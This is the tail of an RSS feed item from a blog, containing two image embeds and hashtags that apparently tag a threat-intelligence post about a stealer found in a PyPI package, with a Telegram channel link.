<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/07/photo_26@23-07-2024_14-22-31-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/07/photo_26@23-07-2024_14-22-31-1024x1024.jpg 1024w, /wp-content/uploads/2024/07/photo_26@23-07-2024_14-22-31-300x300.jpg 300w, /wp-content/uploads/2024/07/photo_26@23-07-2024_14-22-31-150x150.jpg 150w, /wp-content/uploads/2024/07/photo_26@23-07-2024_14-22-31-768x768.jpg 768w, /wp-content/uploads/2024/07/photo_26@23-07-2024_14-22-31.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/07/photo_27@23-07-2024_14-22-31-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/07/photo_27@23-07-2024_14-22-31-1024x1024.jpg 1024w, /wp-content/uploads/2024/07/photo_27@23-07-2024_14-22-31-300x300.jpg 300w, /wp-content/uploads/2024/07/photo_27@23-07-2024_14-22-31-150x150.jpg 150w, /wp-content/uploads/2024/07/photo_27@23-07-2024_14-22-31-768x768.jpg 768w, /wp-content/uploads/2024/07/photo_27@23-07-2024_14-22-31.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#ti</span> <span class="hashtag">#stealer</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
